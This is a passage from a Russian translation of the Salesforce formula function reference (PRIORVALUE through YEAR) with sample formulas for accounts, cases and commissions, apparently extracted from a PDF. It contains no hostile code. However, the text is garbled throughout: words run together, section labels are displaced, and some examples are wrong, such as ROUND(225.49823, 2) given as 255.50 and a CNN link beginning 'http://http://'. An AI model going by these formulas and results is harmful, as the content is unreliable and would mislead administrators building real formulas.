PRIORVALUE(Account.Name) возвращает значение Acme.
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• Если функция ISPICKVAL используется для возврата предыдущего значения поля
раскрывающегося списка, добавьте функцию PRIORVALUE в функцию ISPICKVAL.
Например:

ISPICKVAL(PRIORVALUE
(picklist_field),
text_literal)

• Рекомендуем использовать функцию PRIORVALUE внутри функции INCLUDES для
проверки наличия конкретного значения в предыдущем значении поля
раскрывающегося списка со множественным выбором. Например:

INCLUDES(
PRIORVALUE(multiselect_picklist_field),

text_literal
)

REGEX

Данная функция сравнивает текстовое поле с регулярным выражением и, в случае их
совпадения, возвращает значение «ИСТИНА». Впротивномслучаефункциявозвращает

Описание:

значение «ЛОЖЬ». Регулярное выражение — это строка, используемая для описания
формата строки в соответствии с определенными правилами синтаксиса.

REGEX(текст, текст_регулярного_выражения) изамените текст текстовымполем; замените
текст_регулярного_выражения регулярным выражением, которое должно использоваться
для сопоставления.

Использование:

Данный пример гарантирует соответствие настраиваемого поля SSN регулярному
выражению, представляющемусобойдействительныйномерсоциальногообеспечения
в формате 999-99-9999.

NOT(

Примерправилапроверки:

OR(
LEN (SSN__c) = 0,
REGEX(SSN__c, "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)

Советы: • Синтаксис регулярных выражений основывается на синтаксисе Java Platform SE 6.
Однако, обратная косая черта (\) должна быть заменена двойной обратной косой
чертой (\\), так как данный символ обрабатывается системой Salesforce как символ
перехода.

• В отличие от функции поиска внутри строки, механизм регулярных выражений
Salesforce сопоставляет целые строки. Например, воспользуйтесь регулярным
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выражением (.*Марк Бениофф.*) дляпоискасовпаденияпоимениМаркБениофф
в строке ниже.

According to Marc Benioff, the social enterprise increases
customer success.

При использовании регулярного выражения Марк Бениофф отображается только
строка ниже.

Marc Benioff

• Группы записи и замены пропускаются.

• Даннаяфункция доступна во всех компонентах, содержащихформулы, кромеполей
формулы, а также настраиваемых кнопок и ссылок.

REQUIRESCRIPT

Данная функция возвращает тег сценария с источником для заданного URL-адреса.
РекомендуемиспользоватьданнуюфункциюдляобращениякинструментариюForce.com
AJAX Toolkit или другим инструментариям JavaScript.

Описание:

{!REQUIRESCRIPT(URL-адрес)} и замените URL-адрес ссылкойнанужныйсценарий.

При использовании AJAX Toolkit:

{!requireScript("/soap/ajax/13.0/connection.js")}

Использование:

Возвращается:

<script src="/soap/ajax/13.0/connection.js"></script>

{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}
var c = new sforce.SObject("Case");

Пример настраиваемой
кнопки:

c.id = "{!Case.Id}";
c.Status = "New";
result = sforce.connection.update([c]);
window.location.reload();

Данный пример задает полю обращения Status значение New при каждом нажатии
настраиваемой кнопки на странице сведений об обращении. Чтобы настроить данную
функцию в организации, определите настраиваемую кнопку для обращений со
следующими атрибутами:

• «Тип отображения»: «Кнопка страницы сведений»

• «Алгоритм»: «Выполнить сценарий JavaScript»

• «Источник содержимого»: «OnClick JavaScript»

Затемвставьтесодержимоевышевопределениенастраиваемойкнопкиидобавьтекнопку
в макеты страниц обращений.
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Советы: • Чтобы получить доступ к специальным полям слияния для элементов S-Control,
воспользуйтесь глобальными переменными.

• Рекомендуем использовать даннуюфункцию при создании настраиваемых кнопок
или ссылок, атрибуты «Алгоритм» и «Источник содержимого» которых содержат
значения «Выполнить сценарий JavaScript» и «OnClick JavaScript» соответственно, так
как тег сценария должен находиться вне кода OnClick.

• Данная функция доступна только настраиваемым кнопкам и ссылкам, атрибуту
«Источник содержимого» которых задано значение «OnClick JavaScript».

• Рекомендуем использовать функцию INCLUDESCRIPT для работы с Visualforce.

RIGHT

Даннаяфункция возвращает указанное количество символовиз конца текстовойстроки.Описание:

RIGHT(текст, количество_символов) и замените текст нужным полем или выражением;
замените количество_символов нужным количеством символов справа.

Использование:

Формула TRIM(LEFT(LastName, 5))&"-"&TRIM(RIGHT(SSN__c, 4))
отображает первые пять символов имени и последние четыре символа номера

Пример:

социального обеспечения, разделенные тире. Обратите внимание, что данная формула
предполагает наличие готового настраиваемого текстового поля SSN.

Советы: • Формулы позволяют ссылаться на поля автонумерации как на текстовые поля.

• Если значению количество_символов соответствует отрицательное число, то система
Salesforce заменяет данное значение нулем.

ROUND

Даннаяфункция возвращаетближайшеечисло, ограничивая его заданнымколичеством
цифр.

Описание:

ROUND(число, количество_цифр) замените число полемиливыражением, котороедолжно
быть округлено; замените количество_цифр нужным количеством знаков после запятой.

Использование:

ROUND (1.5, 0)  = 2

ROUND (1.2345, 0)  = 1

Пример:

ROUND (-1,5, 0)  = -2

ROUND (225.49823, 2)  = 255.50

Простая скидка

ROUND(Amount-Amount* Discount_Percent__c,2)

Рекомендуем использовать даннуюформулу для вычисления скидки по возможности,
округленной до двух знаков. Данный пример использует числовое поле формулы для
возможностей, содержащих настраиваемое поле процентов Discount Percent.
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Советы: • Чтобыокруглитьзначениедоцелогочисла, задайтепараметру количество_цифр нулевое
значение.

• Система Salesforce автоматически округляет числа на основе указанного количества
знаковпосле запятой. Например, настраиваемоечисловоеполе сдвумя знакамипосле
запятой округляет значение 1,49999 до значения 1,50.

• Система Salesforce округляет числа в большую сторону. Промежуточные значения
всегда округляются в большую сторону. Например, 1,45 округляется до 1,5, а –1,45 до
–1,5.

• Отображаемые десятичные числа определяются количеством знаков после запятой,
выбранным при определении поля в мастере настраиваемых полей. Параметр
количество_цифр отображает количество цифр, используемое для округления.

RPAD

Данная функция вставляет указанные символы справа от текстовой строки.Описание:

RPAD(текст, длина_заполнения[, 'строка_заполнения']) и замените переменные:Использование:

• текст  (поле или выражение, справа от которого должны быть вставлены символы).

• длина_заполнения  (общее количество символов в тексте, которое должно быть
возвращено).

• строка_заполнения  (какминимумодинсимвол, которыйдолженбытьвставлен). Параметр
строка_заполнения является дополнительными по умолчанию соответствует пробелу.

Если длина значения текст превышает длину значения строка_заполнения, то текст
усекается до размера длины_заполнения.

Имя поля: заполнение по умолчанию

Функция RPAD(Name, 20) усекает поле Name до 20 символов. Например, для имени
mycompany.com возвращается значение mycompany.com.

Пример:

My_Company: без изменения

Функция RPAD('my_company.com', 14, 'z') возвращает значение
my_company.com без изменения, так как его длина составляет 14 символов.

Имя поля: заполнение символом

Функция RPAD(Name, 15, 'z') возвращает значение mycompany.comz.

Имя поля: усечение

Функция RPAD(Name, 2) усекает имя до двух символов. Например, для имени
mycompany.com возвращается значение my.

Конечные пробелы пропускаются.Советы:
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SQRT

Данная функция возвращает положительный квадратный корень заданного числа.Описание:

SQRT(число) и замените число полем или выражением, которое должно использоваться
для извлечения квадратного корня.

Использование:

Функция SQRT(25) возвращает квадратный корень числа 25, равный 5.

Амплитуда

Пример:

Функция SQRT(Amplitude__c) возвращает квадратный корень настраиваемого
числового поля, отображающего амплитуду землетрясения.

Советы: • Вычислениеквадратногокорняотрицательногочиславозвращаетошибкунастранице
сведений.

• Ошибки деления на ноль могут быть исключены путем добавления функции IF.
Например: IF(Amplitude__c >= 0, SQRT(Amplitude__c), null).

SUBSTITUTE

Данная функция заменяет устаревший текст новым текстом.Описание:

SUBSTITUTE(текст, предыдущий_текст, новый_текст) и замените текст полем или
выражением, значение которого должно быть заменено; замените предыдущий_текст

Использование:

текстом, который должен быть заменен; замените новый_текст текстом, который должен
заменить предыдущий_текст.

Функция SUBSTITUTE(Name, "Coupon", "Discount") возвращает имя
возможности, содержащей термин Coupon, и заменяет Coupon термином Discount.

Пример:

Функция SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.")
определяетместоположениесимвола @ в адресе эл. почтыпользователядляограничения
длинытекста, которыйдолженбытьзамененкомпонентом www. каксредствомизвлечения
адреса веб-сайта.

Советы: • Все термины, окруженные кавычками, чувствительны к регистру.

• Если предыдущий_текст отображаетсянесколькораз, то каждый экземпляр заменяется
указаннымзначениемпараметра новый_текст даже в томслучае, еслиданноедействие
инициирует наличие повторов.

TEXT

Данная функция преобразует поле типа «Процент», «Число», «Дата», «Дата/время» или
«Валюта» в текстприиспользованииформул. Крометого, функцияпреобразует значения

Описание:

раскрывающегося списка в текстприиспользованииправилутверждения, правил этапов
утверждения, бизнес-правил, правил расширения, правил назначения, правил
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автоматического ответа, правил проверки, полей формулы, обновлений поля или
настраиваемых кнопок и ссылок.

TEXT(значение) и замените значение полем или выражением, которое должно быть
преобразовано в текстовыйформат. Данная функция не поддерживает специальные
символы, кроме десятичной запятой и символа «минус».

Использование:

Ожидаемый доход в текстовомформате

Функция TEXT(ExpectedRevenue) возвращает ожидаемый доход по возможности
в текстовом формате без знака доллара. Например, если поле кампании Expected

Пример:

Revenue содержит значение «$200 000», то данноеполеформулывозвращает значение
«200 000».

Код актива

Формула SerialNumber &"-"& TEXT(Quantity) возвращает код актива,
содержащийсерийныйномериколичество, разделенные тире. Поле Serial Number
уже является текстовым, а поле Quantity является числовым, поэтому требует
использования функции TEXT.

Использованиезначенийраскрывающегосяспискавматематическихуравнениях

VALUE(LEFT(TEXT(Quantity), 5)) * Unit

Данная формула умножает первые пять чисел раскрывающегося списка Quantity на
значение числового поля Unit.

Сравнение двух раскрывающихся списков

IF(TEXT(bug_status) = TEXT(case_status), “Match”, “Out of Sync”)

Данная формула сравнивает значения раскрывающегося списка bug_status со
значениями раскрывающегося списка case_status.

Отображение значений раскрывающегося списка из родительских записей

TEXT(Account.Industry)

Данное поле формулы для возможностей отображает отрасль связанной организации.

Объединение значений раскрывающегося списка

TEXT(Account.Industry) & " - " & TEXT(Account.SubIndustry__c)

Данное поле формулы для возможностей отображает отрасль и подотрасль связанной
организации.

Блокировка сохранения закрытой возможности

Функция CONTAINS(TEXT(Status), "Closed") возвращаетзначение «ИСТИНА»,
еслираскрывающийся список Status содержит значение Closed (например, Closed Won

Примеры правила
проверки:

или Closed Lost). Даннаяформулаправилапроверки запрещаетпользователямсохранять
изменения, внесенные в закрытую возможность.

Использование числовыхфункций в числовых значениях раскрывающегося
списка

4684

Использование формулРасширение Salesforce посредством интерактивных
инструментов



Формула VALUE(LEFT(TEXT(Quantity), 5)) * Unit > 10000 умножает
первые пять чисел раскрывающегося списка Quantity на значение числового поля
Unit и возвращает значение «ИСТИНА», если результат превышает «10 000».

Прямое сравнение двух раскрывающихся списков

Формула TEXT(bug_status) = TEXT(case_status) сравнивает значения
раскрывающегося списка bug_status со значениямираскрывающегося списка case_status
и, в случае их равенства, возвращает значение «ИСТИНА».

Советы: • Возвращенныйтекстнеформатируется символамивалюты, процентамиизапятыми.

• Значенияне чувствительнык региональнымнастройкам. Например, значение «24,42
EUR» преобразуется в число «24,42».

• Проценты возвращаются в виде десятичных значений.

• Даты возвращаются в формате ГГГГ-ММ-ДД (то есть, четыре цифры для года и по
две цифры для месяца и дня).

• Значения даты/времени возвращаются в формате ГГГГ-ММ-ДД ЧЧ:ММ:ССZ, где
ГГГГ — эточетырехзначноеобозначение года, ММ — этодвухзначноеобозначение
месяца, ДД — этодвухзначноеобозначениедня, ЧЧ — этодвухзначноеобозначение
часов, MM — этодвухзначноеобозначениеминут, SS — этодвухзначноеобозначение
секунд, а Z соответствует нулевому меридиану, отображающему время по Гринвичу.

• Поля раскрывающегося списка поддерживаются функциями TEXT, используемыми
в формулах следующего типа: правила проверки, правила утверждения, правила
этапов утверждения, бизнес-правила, правила расширения, правила назначения,
правилаавтоматическогоответа, поляформулы, обновленияполяилинастраиваемые
кнопки и ссылки. Рекомендуем использовать функцию ISPICKVAL или CASE при
обращении к полю раскрывающегося списка в других формулах.

• Функция TEXT всегда возвращает значения раскрывающегося списка на основном
языке организации, а не на языке текущего пользователя.

TODAY

Данная функция возвращает текущую дату как тип данных «Дата».Описание:

TODAY()Использование:

Функция TODAY()-Sample_date_c вычисляетколичествооставшихсяднейвобразце.Пример:

SampleDate < TODAY()
Примерправилапроверки:

Данный пример запрещает пользователям заполнять поле Sample Date прошедшей
датой.

Советы: • Запрещается удалять скобки.

• Запрещается заполнять скобки содержимым. Скобки должны быть пустыми.
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• Функция TODAY должна использовать поле даты вместо поля даты/времени. Поле
«Дата последнего действия» — это поле даты, тогда как поля «Дата создания» и
«Дата последнего изменения» — это поля даты/времени.

• Рекомендуем использовать функцию NOW для отображения поля даты/времени.

• При вычислении дат и времени всегда используется часовой пояс пользователя.

• Рекомендуем использовать операторы сложения и вычитания с функцией TODAY и
другими полями даты для возврата числа, соответствующего количеству дней.
Например, формула TODAY()-LastActivityDate вычисляет количество дней,
прошедших после даты последнего действия. Данный пример использует поле
формулы типа «Число».

• Рекомендуем использовать операторы сложения и вычитания с функцией TODAY и
числамидлявозвратадаты. Например, формула TODAY() +5 прибавляетпятьдней
к текущей дате. Данный пример использует поле формулы типа «Дата».

TRIM

Данная функция удаляет пробелы и символы табуляции из начала и конца текстовой
строки.

Описание:

TRIM(текст) изамените текст полемиливыражением, котороедолжнобытьобработано.Использование:

Формула TRIM(LEFT(LastName,5))& "-" & RIGHT(FirstName, 1) возвращает
код сети, содержащий первые пять символов фамилии пользователя и первый символ
личного имени пользователя, разделенные тире.

Пример:

UPPER

Даннаяфункцияпреобразует все буквы заданнойтекстовойстрокивпрописные. Данная
функцияобрабатываеттолькобуквы. Привыборерегионаприменяютсясоответствующие
правила.

Описание:

UPPER(текст, [регион]) и замените текст полем или выражением, которое должно
бытьпреобразовановпрописнойтекст; замените регион — дополнительнымдвухзначным
кодом ISO или пятизначным кодом региона (при его наличии).

Использование:

MYCOMPANY.COM

Функция UPPER("mycompany.com") возвращает значение MYCOMPANY.COM.

Пример:

MYCOMPANY.COM 123

Функция UPPER("Mycompany.com 123") возвращает значение MYCOMPANY.COM
123.

Применение правил турецкого языка

Турецкийязыкиспользуетдва вариантабуквы «i»: с точкойибез точки. Согласноправилам
турецкого языка, буква «i» с точкой может использоваться как заглавная, а буква «i» без
точки — как строчная. Чтобы гарантировать корректное использование функции
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UPPER() натурецкомязыке, рекомендуемдобавитькодТурции (tr) вфункцию UPPER().
Например:

UPPER(текст, "tr").

В этом случае система Salesforce блокирует преобразование буквы «i» с точкой в букву «i»
без точки в параметре текст.

URLENCODE

Даннаяфункциякодирует значениятекстовыхполейиполейслияниядляиспользования
в URL-адресах путем замены недопустимых символов URL-адресов (например, пробелы)

Описание:

соответствующимкодом (см. документ RFC 3986 «Универсальныйидентификаторресурсов (URI):
общийсинтаксис»). Например, пробелызаменяютсякодом %20, а восклицательныезнаки —
кодом %21.

{!URLENCODE(текст)} изамените текст полемслиянияилитекстовойстрокой, которая
должна быть закодирована.

Использование:

Если поле слияния foo__c содержит текст <B>Mark's page<b>, то функция
{!URLENCODE(foo_c)} возвращает следующее значение:
%3CB%3EMark%27s%20page%3C%2Fb%3E

Пример:

Советы: • Данная функция поддерживается только настраиваемыми кнопками и ссылками, а
также Visualforce.

• Настраиваемыекнопкииссылкис URL-источникамисодержимогоиспользуютразные
параметры кодировки. Если функция URLENCODE используется для кодировки
настраиваемой кнопки или ссылки, содержащей заданный параметр кодировки, то
система Salesforce сначала кодирует URL-адрес, а затем кодирует результат. Например,
если URL-адрес в настраиваемой ссылке содержит пробел и использует кодировку
UTF-8, то система Salesforce сначала кодирует пробел в виде символа плюса, а затем
функция URLENCODE преобразует символ плюса в код символа %2B.

• Если стандартное поле возможности «Организация»  (Opportunity.Account)
добавляется в функцию URLENCODE, то поле содержит код организации, а не ее имя.
Чтобы закодировать имя организации, создайте настраиваемое поле формулы
кросс-объекта для возможностей, которое охватывает имя организации, и добавьте
данное поле в функцию URLENCODE вместо стандартного поля
Opportunity.Account. Например, если формула кросс-объекта содержит
настраиваемое поле AccountNameFormula__c, воспользуйтесь следующей
строкой:

http://www.google.com/search?q={!URLENCODE
(Opportunity.AccountNameFormula__c)}
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URLFOR

Даннаяфункция возвращает относительный URL-адрес для действия, элемента S-Control,
страницы Visualforce или файла из архива статического ресурса на странице Visualforce.

Описание:

{!URLFOR(цель, код, [входные_данные], [без_переопределения])} и замените цель
URL-адресом, действием, элементом S-Control илипеременнойполя слияния статического

Использование:

ресурса; замените код ссылкой на запись; замените входные_данные любыми
дополнительными параметрами.Аргумент без_переопределения также является
дополнительным и по умолчанию содержит значение «ложь». Данный аргумент
применяетсяк URL-адресамстандартныхстраницSalesforce (например, $Action.Account.New).
Замените аргумент без_переопределения значением «истина» для отображения стандартной
страницы Salesforce, независимоотналичиясоответствующегопереопределениявдругих
областях приложения.

Чтобы получить доступ к странице Visualforce, введите apex/ и имя нужной страницы.
Например, чтобыполучитьдоступк страницеVisualforceпоимени myTestPage, введите
{!URLFOR("/apex/myTestPage")}.

<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50"

height="50"/>

Пример Visualforce:

Данный пример использует компонент <apex:image>, ссылающийся на JPG-файл,
который хранится в архиве, загруженном в качестве статического ресурса. При загрузке
имя статического ресурса было определено как TestZip, а путь к изображениювнутри
ресурса — как images/Bluehills.jpg.

Советы: • Чтобы получить доступ к специальным полям слияния для действий, элементов
S-Control и статических ресурсов, воспользуйтесь глобальными переменными.

• Имя входного параметра, начинающееся с любого символа, кроме буквы или знака
доллара, должно быть окружено кавычками.

• Чтобы объединить разные входные_данные, рекомендуем использовать квадратные
скобки.

{!URLFOR($Action.Case.View, Case.Id, [parm1="A", parm2="B"])}

• Чтобы задать аргумент без_переопределения в случае отсутствия входных данных для
передачи, задайте параметру входные_данные нулевое значение.

{!URLFOR($Action.Case.View, Case.Id, null, true)}

• Стандартноедействие, котороебылопереопределено, большенедоступнов системе
Salesforce. Например, переопределение действия по созданию организации влияет
на кнопку «Создать», отображающуюся на всех страницах (например, страница
сведений об организации или связанные списки организаций на других страницах
сведений), а также на раскрывающийся список «Создать...», отображающийся на
боковой панели. Чтобы переопределить стандартное действие, но сохранить
возможность доступа к данному действию, воспользуйтесь аргументом
без_переопределения в элементе S-Control.
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• Припереопределенииначальнойстраницыстандартнойилинастраиваемойвкладки
задайте параметру цель глобальную переменную $Action для объекта Tab, а
параметру код — тип объекта. Например: URLFOR($Action.Account.Tab,
$ObjectType.Account).

• Данная функция доступна только в настраиваемых кнопках, ссылках, элементах
S-Control и страницах Visualforce.

VALUE

Данная функция преобразует текстовую строку в число.Описание:

VALUE(текст) и замените текст полем или выражением, которое должно быть
преобразовано в число.

Использование:

Номер интереса

Функция VALUE(Lead_Number__c) возвращаетчислодля текстового значенияполя
автонумерации Lead Number. Даннаяфункцияможетбытьполезнаприиспользовании

Пример:

поля Lead Number в расчетах. Обратите внимание, чтополя автонумерации являются
текстовыми, поэтому при выполнениичисловых расчетов должныбыть преобразованы
в числовые.

Циклическое назначение интересов

MOD(VALUE(Lead_Number__c), 3)

Данная формула предназначена для поля настраиваемойформулы Round_Robin_ID,
которое назначает каждому интересу значение 0, 1 или 2. Данная формула использует
настраиваемоеполеавтонумерации Lead Number, котороеназначаеткаждомуинтересу
уникальный номер, начиная с 1. Функция MOD делит номер интереса на доступное
количество очередей (три очереди в данном примере) и возвращает остаток 0, 1 или 2.
Рекомендуем использовать значение данного поля формулы в правилах назначения
интересов для назначения интересов разным очередям. Например:

• Round_Robin_ID = 0 назначается очереди А

• Round_Robin_ID = 1 назначается очереди Б

• Round_Robin_ID = 2 назначается очереди В

Функция VALUE не поддерживает специальные символы, кроме десятичной запятой и
символа «минус». Например, формула VALUE(Text_field__c) возвращаетследующие
результаты:

Советы:

• Если поле Text field содержит значение 123, то формула возвращает значение
123.

• Еслиполе Text field содержитпустоезначение, тоформулавозвращаетзначение
#Ошибка!.

• Еслиполе Text field содержит значение $123, тоформула возвращает значение
#Ошибка!.

• Еслиполе Text field содержитзначение EUR123, тоформулавозвращаетзначение
#Ошибка!.
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VLOOKUP

Даннаяфункциявозвращаетзначениепутемпоискасвязанногозначениявнастраиваемом
объекте подобно функции Excel VLOOKUP().

Описание:

VLOOKUP(поле_для_возврата, поле_объекта_поиска, значение_поиска) и замените
поле_для_возврата полем, содержащим нужное значение; замените поле_объекта_поиска

Использование:

полем связанного объекта, содержащим значение, которое должно быть сопоставлено;
замените значение_поиска значением, которое должноиспользоваться для сопоставления.

Данныйпримерпроверяет действительностьпочтовогоиндекса для счета путемпоиска
первыхпятисимволовзначениявнастраиваемомобъекте Zip_Code__c, которыйсодержит

Примерправилапроверки:

записьдля каждогодействительногопочтовогоиндексаСША. Еслиобъект Zip_Code__c
не содержит почтового индекса или область для счета не соответствует полю
State_Code__c в объекте Zip_Code__c, то система отображает ошибку.

AND( LEN(BillingPostalCode) > 0, OR(BillingCountry = "USA",
BillingCountry = "US"),

VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name, LEFT(BillingPostalCode,5))
<>

BillingState )

Прим.:

• Рекомендуем использовать данный пример, если поле страны для счета
содержит значение US или USA.

• Почтовые индексы СШАмогут быть загружены в виде CSV-файла на веб-узле
http://zips.sourceforge.net.

Советы: • Параметр поле_для_возврата долженсодержатьполе типа «Автонумерация», «Сводное
резюмирование», «Взаимосвязь "Поиск"», «Взаимосвязь "Основная–подробная"»,
«Кнопка-флажок», «Дата», «Дата/время», «Эл. почта», «Число», «Процент», «Тел.»,
«Текст», «Область текста» или «URL-адрес».

• Параметр поле_объекта_поиска должен использовать поле настраиваемого объекта
«Имя записи».

• Параметры поле_объекта_поиска и значение_поиска должны использовать одинаковый
тип данных.

• При совпадении нескольких записей возвращается значение первой записи.

• Возвращенное значение должно относиться к настраиваемому объекту.

• Настраиваемое поле или настраиваемый объект, используемый данной функцией,
не может быть удален.

• Данная функция доступна только в правилах проверки.
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YEAR

Данная функция возвращает четырехзначный год.Описание:

YEAR(дата) и замените дату полем или выражением, содержащим нужный год.Использование:

Формула YEAR(TODAY())- YEAR(Initial_Meeting__c) возвращаетколичество
лет, прошедших после первой встречи с клиентом. Данный пример использует
настраиваемое поле даты Initial Meeting.

Пример:

СМ. ТАКЖЕ:

Операторы и функцииформулы (A – H)

Операторы и функцииформулы

Примеры полей сложной формулы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений о
поле формулы:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления полей
формулы:
• «Настройка

приложения»

Просмотрите примеры полей формул для разных типов приложений, которые можно
использовать и изменять произвольно.

Данныйдокумент содержитпримерынастраиваемыхформул дляперечисленныхниже
тем. Дополнительную информацию об использованиифункций, встречающихся в
данных примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Примерыформул: управление организациями

Примерыформул: медиа-службы организации

Примерыформул: управление обращениями

Примерыформул: вычисления комиссии

Примерыформул: управление контактами

Примерыформул: категоризация данных

Использование даты и значений даты/времени в формулах

Примерыформул: предоставление скидки

Примерыформул: услуги для сотрудников

Примерыформул: отслеживание расходов

Примерыформул: финансовые вычисления

Примерыформул: ссылки на изображения

Примерыформул: ссылки на интеграции

Примерыформул: управление интересами

Примерыформул: показатели

Примерыформул: управление возможностями

Примерыформул: ценообразование
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Примерыформул: вычисления результата

СМ. ТАКЖЕ:

Формулы: Вопросы ?

Советы по созданиюформул

Примеры формул: управление организациями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Рейтинг организации

Данная формула оценивает поля «Годовой доход», «Страна для счета» и «Тип», а
затем назначает значение Hot, Warm или Cold.

IF (AND (AnnualRevenue > 10000000,
CONTAINS (CASE (BillingCountry, "United States", "US", "America", "US", "USA", "US", "NA"),
"US")),
IF(ISPICKVAL(Type, "Manufacturing Partner"), "Hot",
IF(OR (ISPICKVAL (Type, "Channel Partner/Reseller"),
ISPICKVAL(Type, "Installation Partner")), "Warm", "Cold")),
"Cold")

Кроме того, объект «Контакт» может ссылаться на указанное ниже поле формулы «Рейтинг организации» посредством
формул кросс-объектов.

Account.Account_Rating__c

Регион организации

Данная формула возвращает текстовое значение North, South, East, West или Central на основе поля организации
«Область/штат для счета».

IF(ISBLANK(BillingState), "None",
IF(CONTAINS("AK:AZ:CA:HA:NV:NM:OR:UT:WA", BillingState), "West",
IF(CONTAINS("CO:ID:MT:KS:OK:TX:WY", BillingState), "Central",
IF(CONTAINS("CT:ME:MA:NH:NY:PA:RI:VT", BillingState), "East",
IF(CONTAINS("AL:AR:DC:DE:FL:GA:KY:LA:MD:MS:NC:NJ:SC:TN:VA:WV", BillingState), "South",
IF(CONTAINS("IL:IN:IA:MI:MN:MO:NE:ND:OH:SD:WI", BillingState), "North", "Other"))))))

Давность контракта

Данная формула вычисляет количество дней, прошедших после активации контракта с организацией. Данное поле
содержит значение, если полю контракта «Статус» задано значение Activated.

IF(ISPICKVAL(Contract_Status__c, "Activated"),
NOW() - Contract_Activated_Date__c, null)

4692

Использование формулРасширение Salesforce посредством интерактивных
инструментов



Примеры формул: медиа-службы организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Поиск BBC™ News

Данная формула создает ссылку на поисковый сайт BBC News на основе поля «Имя
организации».

HYPERLINK(
"http://www.bbc.co.uk/search/news/?q="&Name,
"BBC News")

Поиск Bloomberg™ News

Данная формула создает ссылку на биржевой символ организации на веб-сайте Bloomberg.

HYPERLINK(
"http://www.bloomberg.com/markets/symbolsearch?query="&TickerSymbol,
"Bloomberg News")

Поиск CNN™ News

Данная формула создает ссылку на поисковый сайт CNN News на основе поля «Имя организации».

HYPERLINK(
"http://http://www.cnn.com/search/?query="&Name,
"CNN News")

Поиск MarketWatch™

Данная формула создает ссылку на биржевой символ организации на веб-сайте Marketwatch.com.

HYPERLINK(
"http://www.marketwatch.com/investing/stock/"&TickerSymbol,
"Marketwatch")

Поиск Google™

Данная формула создает ссылку на поисковый сайт Google на основе поля «Имя организации».

HYPERLINK(
"http://www.google.com/#q="&Name,
"Google")
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Поиск Google News

Данная формула создает ссылку на поисковый сайт Google News на основе поля «Имя организации».

HYPERLINK(
"http://news.google.com/news/search?en&q="&Name,
"Google News")

Поиск Yahoo!™

Данная формула создает ссылку на поисковый сайт Yahoo! на основе поля «Имя организации».

HYPERLINK(
"http://search.yahoo.com/search?p="&Name,
"Yahoo Search")

Поиск Yahoo! News

Данная формула создает ссылку на поисковый сайт Yahoo! News на основе поля «Имя организации».

HYPERLINK(
"http://news.search.yahoo.com/search/news?p="&Name,
"Yahoo News")

Примеры формул: управление обращениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Автонабор

Данная формула создает поле номера телефона, доступное для ссылки, которое
автоматически набирает номер телефона при нажатии. Замените поля servername
и call именем номеронабирателя и используемой командой. Поле слияния Id
вставляет идентификатор записи контакта, интереса или организации. Первое поле
слияния Phone передает номеронабирателю нужный номер для набора; последнее поле слияния Phone использует
значение поля Phone как текст, при нажатии которого набирается номер.

HYPERLINK("http://servername/call?id=" & Id & "&phone=" &
Phone, Phone)

Категоризация обращений

Данная формула отображает текстовое значение RED, YELLOW или GREEN на основе значения настраиваемого текстового
поля длительности обращения.

IF(DaysOpen__c > 20, "RED",
IF(DaysOpen__c > 10, "YELLOW",
"GREEN") )
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Отслеживание полноты данных обращения

Даннаяформулавычисляетпроцентконкретныхнастраиваемыхполей, содержащихданные. Формулапроверяет значения
двух настраиваемых числовых полей: Problem Num и Severity Num. Если поля не содержат значений, то формула
возвращает значение «0». Формулавозвращает значение «1» длякаждогополя, содержащегозначение, иумножаетитоговое
значение на «50» для вычисления процента полей, содержащих данные.

(IF(ISBLANK(Problem_Num__c), 0, 1) + IF(ISBLANK(Severity_Num__c ), 0,1)) * 50

Рекомендуемые напоминания для агентов

Данная формула напоминает агенту о предложениях по перекрестным продажам на основе прошлых покупок.

CASE(Product_Purch__c,
"Printer", "Extra toner cartridges", "Camera", "Memory cards",
"Special of the day")

Рекомендуемые предложения

Даннаяформула рекомендует продукт на основе историипоподдержке поставщика компьютеров. Формула возвращает
рекомендацию при соответствии настраиваемого поля Problem полюформулы.

CASE(Problem__c,
"Memory", "Suggest new memory cards", "Hard Drive failure", "Suggest new hard drive with
tape backup",
"")

Примеры формул: вычисления комиссии

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Дополнительнуюинформациюобиспользованиифункций, встречающихся в данных
примерах, см. в разделе «Операторы и функцииформулы» на странице 4632.

Суммы комиссии для возможностей

Даннаяформула позволяет вычислять комиссиюна основефиксированного процента
(2%) от значения поля возможности Amount.

IF(ISPICKVAL(StageName, "Closed Won"),
ROUND(Amount *0.02, 2), 0)

Данныйпример вычисляет комиссиюдля любой возможности на этапе Closed Won. Значение данного поля вычисляется
путем умножения суммы на коэффициент 0,02 для любой закрытой/реализованной возможности. Открытым или
нереализованным возможностям назначается нулевая комиссия.

Комиссия: размер сделки

Данная формула вычисляет комиссионные на основе размера сделки, возвращая 9% комиссионных для сделок со
стоимостью более 100 000 рублей и 8% комиссионных для других сделок.

IF(Amount > 100000, 0.09, 0.08 )
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Комиссия: больше или равно

Данная формула назначает значение YES, если комиссия превышает или равна одному миллиону. Обратите внимание,
что данное поле формулы является текстовым и использует настраиваемое поле валюты Commission.

IF(Commission__c >=
1000000, "YES", "NO")

Комиссия: максимальное значение

Данная формула определяет комиссионные за актив на основе наибольшего значения: комиссионный процент
пользователя от цены; цена, умноженная на процент скидки, заданный для организации; 100 долларов. Данный пример
предполагает наличие двух готовых настраиваемых полей процентов для пользователей и активов.

